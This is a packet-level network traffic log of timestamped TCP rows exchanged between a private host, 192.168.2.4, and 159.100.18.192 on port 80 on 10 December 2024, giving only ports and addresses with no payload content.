                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.046710014 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.046772957 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.046809912 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.047652960 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.047705889 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.047976017 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.048516035 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.048557043 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.048561096 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.049387932 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.049433947 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.049515009 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.050340891 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.050378084 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.050385952 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.051187992 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.051234961 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.051280975 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.052102089 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.052143097 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.052181005 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.053070068 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.053117990 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.053188086 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.053854942 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.053905010 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.053935051 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.054738045 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.054784060 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.054851055 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.055655003 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.055702925 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.055741072 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.056510925 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.056555986 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.056592941 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.057421923 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.057467937 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.057495117 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.058329105 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.058373928 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.058424950 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.059230089 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.059277058 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.059278965 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.060096025 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.060139894 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.060261965 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.061037064 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.061083078 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.061175108 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.061899900 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.061952114 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.062026024 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.062776089 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.062822104 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.062863111 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.063679934 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.063750982 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.063776016 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.064574957 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.064620018 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.064711094 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.065493107 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.065536022 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.065607071 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.066373110 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.066418886 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.066513062 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.067255974 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.067296028 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.067365885 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.068201065 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.068245888 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.068255901 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.069046021 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.069094896 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.069119930 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.069947004 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.069988966 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.070066929 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.070836067 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.070880890 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.070909023 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.071717978 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.071763039 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.071831942 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.072608948 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.072663069 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.072751045 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.073729038 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.073780060 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.073853970 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.074497938 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.074547052 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.074556112 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.075290918 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.075335026 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.075366020 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.115333080 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.221019030 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.221134901 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.221179962 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.221432924 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.221563101 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.221605062 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.222280025 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.222404957 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.222441912 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.223455906 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.224195957 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.224247932 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.224272013 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.224550962 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.224596024 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.224662066 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.225426912 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.225471020 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.225481987 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.226358891 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.226407051 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.226438046 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.227206945 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.227252007 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.227267027 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.228063107 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.228106022 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.228189945 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.228977919 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.229023933 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.229110956 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.229954958 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.229995966 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.230012894 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.230781078 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.230820894 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.230837107 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.231750965 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.231796026 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.231827021 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.232595921 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.232660055 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.232662916 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.233503103 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.233546972 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.233619928 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.234368086 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.234411001 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.234469891 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.235284090 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.235327005 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.235415936 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.236218929 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.236259937 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.236411095 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.237020016 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.237061024 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.237145901 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.237956047 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.237999916 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.238023043 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.238796949 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.238840103 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.238900900 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.239741087 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.239782095 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.239825010 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.240595102 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.240638018 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.240725040 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.241492987 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.241537094 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.241626024 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.242369890 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.242410898 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.242470980 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.243319988 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.243362904 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.243424892 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.244164944 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.244209051 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.244255066 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.245095015 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.245138884 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.245167017 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.245934010 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.245978117 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.246052980 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.246855021 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.246897936 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.246931076 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.247735023 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.247782946 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.247898102 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.248668909 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.248713970 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.248775959 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.249524117 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.249567032 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.249658108 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.250411987 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.250457048 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.250550985 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.251470089 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.251512051 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.251549959 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.252258062 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.252300978 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.252341032 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.253093004 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.253143072 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.253205061 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.254014969 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.254059076 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.254096031 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.254898071 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.254941940 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.254981995 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.255804062 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.255848885 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.255880117 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.256652117 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.256696939 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.256778955 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.257567883 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.257611990 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.257682085 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.258516073 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.258559942 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.258615017 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.259558916 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.259602070 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.259607077 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.260235071 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.260350943 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.260454893 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.261168003 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.261214018 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.261281013 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.262108088 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.262155056 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.262224913 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.262934923 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.262978077 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.263039112 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.263837099 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.263876915 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.263942003 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.264736891 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.264780998 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.264791012 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.265608072 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.265650988 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.265763044 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.266499996 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.266546965 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.266599894 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.267384052 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.267425060 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.267442942 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.308782101 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.413047075 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.413117886 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.413181067 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.413289070 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.413307905 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.413347960 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.414146900 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.414223909 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.414259911 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.415023088 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:06.415143967 CET8049747159.100.18.192192.168.2.4
